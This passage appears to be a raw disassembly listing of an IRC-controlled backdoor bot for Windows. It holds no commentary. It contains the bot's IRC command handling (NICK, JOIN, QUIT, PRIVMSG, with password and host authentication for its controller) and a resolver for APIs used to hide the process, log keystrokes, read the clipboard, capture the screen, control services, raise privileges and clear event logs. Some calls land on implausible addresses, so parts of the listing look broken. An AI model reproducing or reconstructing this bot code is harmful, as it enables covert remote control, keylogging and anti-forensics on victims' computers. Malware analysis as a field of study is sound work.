		cmp	eax, 400h
		pop	ecx
		jge	loc_401E94
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEEC[eax]
		call	sub_409A2C
		pop	ecx
		pop	ecx
		push	1F4h
		call	near ptr 267053Bh
		nop
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEEC[eax]
		call	dword_4CB03C
		push	[ebp+var_10]
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEF4[eax]
		call	near ptr 2680DFDh
		nop
		push	esi
		call	sub_41B779
		imul	eax, 234h
		push	esi
		mov	dword_43DEF4[eax], ebx
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_43DCE0[eax], bl
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_4095D5:				; CODE XREF: sub_401ACD+3DCBj
					; sub_401ACD+3DE0j
		push	[ebp+arg_10]
		push	offset aAll	; "all"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409641
		call	sub_40B2BF
		cmp	eax, ebx
		jle	short loc_4095FC
		push	eax
		push	offset unk_4296EC
		jmp	loc_408CDB
; ---------------------------------------------------------------------------


loc_4095FC:				; CODE XREF: sub_401ACD+7B22j
		push	offset unk_4296C4


loc_409601:				; CODE XREF: sub_401ACD+24F9j
					; sub_401ACD+2518j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40960F:				; CODE XREF: sub_401ACD+721Dj
		cmp	[ebp+var_8], ebx
		jnz	short loc_409630
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_409628:				; CODE XREF: sub_401ACD+6DB4j
		call	sub_409A72
		add	esp, 14h


loc_409630:				; CODE XREF: sub_401ACD+26F6j
					; sub_401ACD+2721j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		jmp	loc_40207D
; ---------------------------------------------------------------------------


loc_409641:				; CODE XREF: sub_401ACD+7B19j
		mov	eax, [ebp+var_AC]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_401E94
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+arg_24], eax


loc_40965D:				; CODE XREF: sub_401ACD+7C01j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_401E94
		push	esi
		call	sub_41B779
		push	eax
		call	sub_40B231
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_409684
		push	offset unk_4296A0
		jmp	short loc_409689
; ---------------------------------------------------------------------------


loc_409684:				; CODE XREF: sub_401ACD+7BAEj
		push	offset unk_429674


loc_409689:				; CODE XREF: sub_401ACD+7BB5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4096B9
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_4096B9:				; CODE XREF: sub_401ACD+7BCEj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_40965D
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_4096D5:				; CODE XREF: sub_401ACD+3DA1j
					; sub_401ACD+3DB6j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	esi
		push	offset dword_429DE0
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	offset dword_429658
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_409711:				; CODE XREF: sub_401ACD+3D77j
					; sub_401ACD+3D8Cj
		push	[ebp+arg_10]
		push	offset dword_429D44
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429634
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_409731:				; CODE XREF: sub_401ACD+3D4Dj
					; sub_401ACD+3D62j
		push	[ebp+esi+var_88]
		push	[ebp+arg_10]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset unk_429610
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_409758:				; CODE XREF: sub_401ACD+3D23j
					; sub_401ACD+3D38j
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_4295EC
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_409778:				; CODE XREF: sub_401ACD+3163j
					; sub_401ACD+3178j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_4295C8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h


loc_4097B2:				; CODE XREF: sub_401ACD+7D33j
		push	eax
		nop
		call	near ptr 267053Bh


loc_4097B9:				; CODE XREF: sub_401ACD+2AA2j
		xor	eax, eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_4097C0:				; CODE XREF: sub_401ACD+3139j
					; sub_401ACD+314Ej
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_4295A0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		imul	eax, 3E8h
		jmp	short loc_4097B2
; ---------------------------------------------------------------------------


loc_409802:				; CODE XREF: sub_401ACD+EC8j
					; sub_401ACD+EDDj
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_338]
		push	dword_42909C
		push	eax
		call	sub_40B08D
		add	esp, 10h
		lea	eax, [ebp+var_338]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		lea	eax, [ebp+var_338]
		push	eax
		push	offset unk_42957C


loc_40984D:				; CODE XREF: sub_401ACD+70B4j
					; sub_401ACD+778Aj ...
		call	sub_415220
		pop	ecx


loc_409853:				; CODE XREF: sub_401ACD+6CB9j
		pop	ecx


loc_409854:				; CODE XREF: sub_401ACD+659j
					; sub_401ACD+665j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_40985C:				; CODE XREF: sub_401ACD+AB5j
					; sub_401ACD+AC8j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_10], esi
		jz	loc_401E94
		cmp	[ebp+var_A4], ebx
		jnz	loc_401E94
		push	offset asc_42CA5C ; "!"
		push	[ebp+var_90]
		call	sub_41C0F4
		mov	esi, eax
		push	offset dword_4CAE5C
		push	ebx
		inc	esi
		call	sub_41C0F4
		push	offset asc_429578 ; "~"
		push	eax
		call	sub_41C0F4
		push	[ebp+arg_10]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_41C070
		add	esp, 20h
		test	eax, eax
		jz	short loc_4098FB
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_4294F8
		jmp	loc_40240A
; ---------------------------------------------------------------------------


loc_4098FB:				; CODE XREF: sub_401ACD+7DEAj
		mov	[ebp+arg_24], offset off_429160


loc_409902:				; CODE XREF: sub_401ACD+7E51j
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_40B44F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409962
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_429164
		jb	short loc_409902
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_4294A4
		jmp	loc_40240A
; ---------------------------------------------------------------------------


loc_409962:				; CODE XREF: sub_401ACD+7E44j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_409967:				; CODE XREF: sub_401ACD+7EC4j
		cmp	[ebp+arg_10], ebx
		jz	loc_401E94
		cmp	[edi], bl
		jnz	short loc_409987
		push	[ebp+arg_10]
		push	offset aCool	; "cool"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409998


loc_409987:				; CODE XREF: sub_401ACD+7EA5j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409967
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_409998:				; CODE XREF: sub_401ACD+7EB8j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_E00]
		push	7Fh
		push	eax
		push	esi
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4099CF
		push	ebx
		push	[ebp+var_4]
		push	offset unk_429484
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_4099CF:				; CODE XREF: sub_401ACD+7EE6j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_429464
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_4099E0:				; CODE XREF: sub_401ACD+20Ej
					; sub_401ACD+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	offset aXI	; "-x+i"
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		mov	dword_4CAE54, edi
		jmp	loc_401D6A
sub_401ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A2C	proc near		; CODE XREF: sub_401955+3Dp
					; sub_401ACD+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41C190
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFF4
		leave
		retn
sub_409A2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A72	proc near		; CODE XREF: sub_401ACD+518p
					; sub_401ACD+137Dp ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_409A8D
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_409A8D:				; CODE XREF: sub_409A72+14j
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41AFE0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFF4
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_409B10
		push	7D0h
		call	near ptr 267053Bh
		nop

locret_409B10:				; CODE XREF: sub_409A72+91j
		leave
		retn
sub_409A72	endp


; =============== S U B	R O U T	I N E =======================================



sub_409B12	proc near		; CODE XREF: ___:0040126Cp
		push	ebx
		push	ebp
		mov	ebp, dword_42709C
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4270BC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409C32
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4CB050, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4CAFC4, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4CAFA8, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4CAEB8, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4CAE64, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4CAE94, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4CAF0C, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4CB004, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4CB060, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4CAEC4, eax
		call	esi
		cmp	dword_4CB050, ebx
		mov	dword_4CAEAC, eax
		jz	short loc_409C10
		cmp	dword_4CAFC4, ebx
		jz	short loc_409C10
		cmp	dword_4CAFA8, ebx
		jz	short loc_409C10
		cmp	dword_4CAEB8, ebx
		jz	short loc_409C10
		cmp	dword_4CAE94, ebx
		jz	short loc_409C10
		cmp	dword_4CAF0C, ebx
		jz	short loc_409C10
		cmp	dword_4CB004, ebx
		jz	short loc_409C10
		cmp	dword_4CB060, ebx
		jz	short loc_409C10
		cmp	dword_4CAEC4, ebx
		jz	short loc_409C10
		cmp	eax, ebx
		jnz	short loc_409C1A


loc_409C10:				; CODE XREF: sub_409B12+B8j
					; sub_409B12+C0j ...
		mov	dword_4CB064, 1


loc_409C1A:				; CODE XREF: sub_409B12+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CAFDC, eax
		jz	short loc_409C47
		push	1
		push	ebx
		call	eax
		jmp	short loc_409C47
; ---------------------------------------------------------------------------


loc_409C32:				; CODE XREF: sub_409B12+1Dj
		nop
		call	near ptr 2670E77h
		mov	dword_4CB068, eax
		mov	dword_4CB064, 1


loc_409C47:				; CODE XREF: sub_409B12+117j
					; sub_409B12+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	near ptr 2690C4Ch
		nop
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409D5C
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4CB000, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4CAFB0, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4CAF44, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4CB054, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4CAF74, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4CAF94, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4CAFF8, eax
		call	esi
		cmp	dword_4CB000, ebx
		mov	dword_4CAEE4, eax
		jz	short loc_409D00
		cmp	dword_4CAFB0, ebx
		jz	short loc_409D00
		cmp	dword_4CAF44, ebx
		jz	short loc_409D00
		cmp	dword_4CB054, ebx
		jz	short loc_409D00
		cmp	dword_4CAF74, ebx
		jz	short loc_409D00
		cmp	dword_4CAF94, ebx
		jz	short loc_409D00
		cmp	dword_4CAFF8, ebx
		jz	short loc_409D00
		cmp	eax, ebx
		jnz	short loc_409D0A


loc_409D00:				; CODE XREF: sub_409B12+1B8j
					; sub_409B12+1C0j ...
		mov	dword_4CB06C, 1


loc_409D0A:				; CODE XREF: sub_409B12+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4CAF70, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4CAE78, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4CAF40, eax
		call	esi
		cmp	dword_4CAF70, ebx
		mov	dword_4CAF28, eax
		jz	short loc_409D67
		cmp	dword_4CAE78, ebx
		jz	short loc_409D67
		cmp	dword_4CAF40, ebx
		jz	short loc_409D67
		cmp	eax, ebx
		jnz	short loc_409D71
		jmp	short loc_409D67
; ---------------------------------------------------------------------------


loc_409D5C:				; CODE XREF: sub_409B12+144j
		call	near ptr 2670E77h
		nop
		mov	dword_4CB070, eax


loc_409D67:				; CODE XREF: sub_409B12+232j
					; sub_409B12+23Aj ...
		mov	dword_4CB06C, 1


loc_409D71:				; CODE XREF: sub_409B12+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409F2A
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4CB014, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4CAF58, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4CAFC8, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4CAEA4, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4CAF08, eax
		call	esi
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4CAF80, eax
		call	esi
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4CAF24, eax
		call	esi
		cmp	dword_4CB014, ebx
		mov	dword_4CAF34, eax
		jz	short loc_409E1A
		cmp	dword_4CAF58, ebx
		jz	short loc_409E1A
		cmp	dword_4CAFC8, ebx
		jz	short loc_409E1A
		cmp	dword_4CAEA4, ebx
		jz	short loc_409E1A
		cmp	dword_4CAF08, ebx
		jz	short loc_409E1A
		cmp	dword_4CAF80, ebx
		jnz	short loc_409E24


loc_409E1A:				; CODE XREF: sub_409B12+2DEj
					; sub_409B12+2E6j ...
		mov	dword_4CB074, 1


loc_409E24:				; CODE XREF: sub_409B12+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4CAF88, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4CAF60, eax
		call	esi
		cmp	dword_4CAF88, ebx
		mov	dword_4CB010, eax
		jz	short loc_409E5F
		cmp	dword_4CAF60, ebx
		jz	short loc_409E5F
		cmp	eax, ebx
		jnz	short loc_409E69


loc_409E5F:				; CODE XREF: sub_409B12+33Fj
					; sub_409B12+347j
		mov	dword_4CB074, 1


loc_409E69:				; CODE XREF: sub_409B12+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4CAF98, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4CAE80, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4CAE88, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4CAEEC, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4CAEF0, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4CAE9C, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4CAF64, eax
		call	esi
		cmp	dword_4CAF98, ebx
		mov	dword_4CAE8C, eax
		jz	short loc_409F0D
		cmp	dword_4CAE80, ebx
		jz	short loc_409F0D
		cmp	dword_4CAE88, ebx
		jz	short loc_409F0D
		cmp	dword_4CAEEC, ebx
		jz	short loc_409F0D
		cmp	dword_4CAEF0, ebx
		jz	short loc_409F0D
		cmp	dword_4CAE9C, ebx
		jz	short loc_409F0D
		cmp	dword_4CAF64, ebx
		jz	short loc_409F0D
		cmp	eax, ebx
		jnz	short loc_409F17


loc_409F0D:				; CODE XREF: sub_409B12+3C5j
					; sub_409B12+3CDj ...
		mov	dword_4CB074, 1


loc_409F17:				; CODE XREF: sub_409B12+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CAE84, eax
		jnz	short loc_409F3F
		jmp	short loc_409F35
; ---------------------------------------------------------------------------


loc_409F2A:				; CODE XREF: sub_409B12+26Aj
		call	near ptr 2670E77h
		nop
		mov	dword_4CB078, eax


loc_409F35:				; CODE XREF: sub_409B12+416j
		mov	dword_4CB074, 1


loc_409F3F:				; CODE XREF: sub_409B12+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A00B
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4CAF90, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4CAFE8, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4CAFF0, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4CAFAC, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4CAEC8, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4CAE74, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4CAFEC, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4CAE60, eax
		call	esi
		cmp	dword_4CAF90, ebx
		mov	dword_4CAF00, eax
		jz	short loc_40A016
		cmp	dword_4CAFE8, ebx
		jz	short loc_40A016
		cmp	dword_4CAFF0, ebx
		jz	short loc_40A016
		cmp	dword_4CAFAC, ebx
		jz	short loc_40A016
		cmp	dword_4CAEC8, ebx
		jz	short loc_40A016
		cmp	dword_4CAE74, ebx
		jz	short loc_40A016
		cmp	dword_4CAFEC, ebx
		jz	short loc_40A016
		cmp	dword_4CAE60, ebx
		jz	short loc_40A016
		cmp	eax, ebx
		jnz	short loc_40A020
		jmp	short loc_40A016
; ---------------------------------------------------------------------------


loc_40A00B:				; CODE XREF: sub_409B12+438j
		call	near ptr 2670E77h
		nop
		mov	dword_4CB080, eax


loc_40A016:				; CODE XREF: sub_409B12+4B9j
					; sub_409B12+4C1j ...
		mov	dword_4CB07C, 1


loc_40A020:				; CODE XREF: sub_409B12+4F5j
		mov	ebp, dword_4270B8
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A2DC
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4CAF14, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4CB048, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4CAEB4, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4CAE90, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4CAF50, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4CAF38, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4CAEFC, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4CB024, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4CB040, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4CAF4C, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4CB030, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4CAFE4, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4CAFA4, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4CAFA0, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4CAED4, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_4CAECC, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4CAFF4, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4CB008, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4CAFBC, eax
		call	esi
		mov	dword_4CAF7C, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4CAFD0, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4CAF8C, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4CAFCC, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4CB038, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4CAF84, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4CAF48, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4CAFB8, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4CB028, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4CAF5C, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4CAEF8, eax
		call	esi
		cmp	dword_4CAF14, ebx
		mov	dword_4CB03C, eax
		jz	loc_40A2E7
		cmp	dword_4CB048, ebx
		jz	loc_40A2E7
		cmp	dword_4CAEB4, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF50, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF38, ebx
		jz	loc_40A2E7
		cmp	dword_4CAEFC, ebx
		jz	loc_40A2E7
		cmp	dword_4CB024, ebx
		jz	loc_40A2E7
		cmp	dword_4CB040, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF4C, ebx
		jz	loc_40A2E7
		cmp	dword_4CB030, ebx
		jz	loc_40A2E7
		cmp	dword_4CAFE4, ebx
		jz	loc_40A2E7
		cmp	dword_4CAFA4, ebx
		jz	loc_40A2E7
		cmp	dword_4CAFA0, ebx
		jz	loc_40A2E7
		cmp	dword_4CAED4, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFF4, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB008, ebx
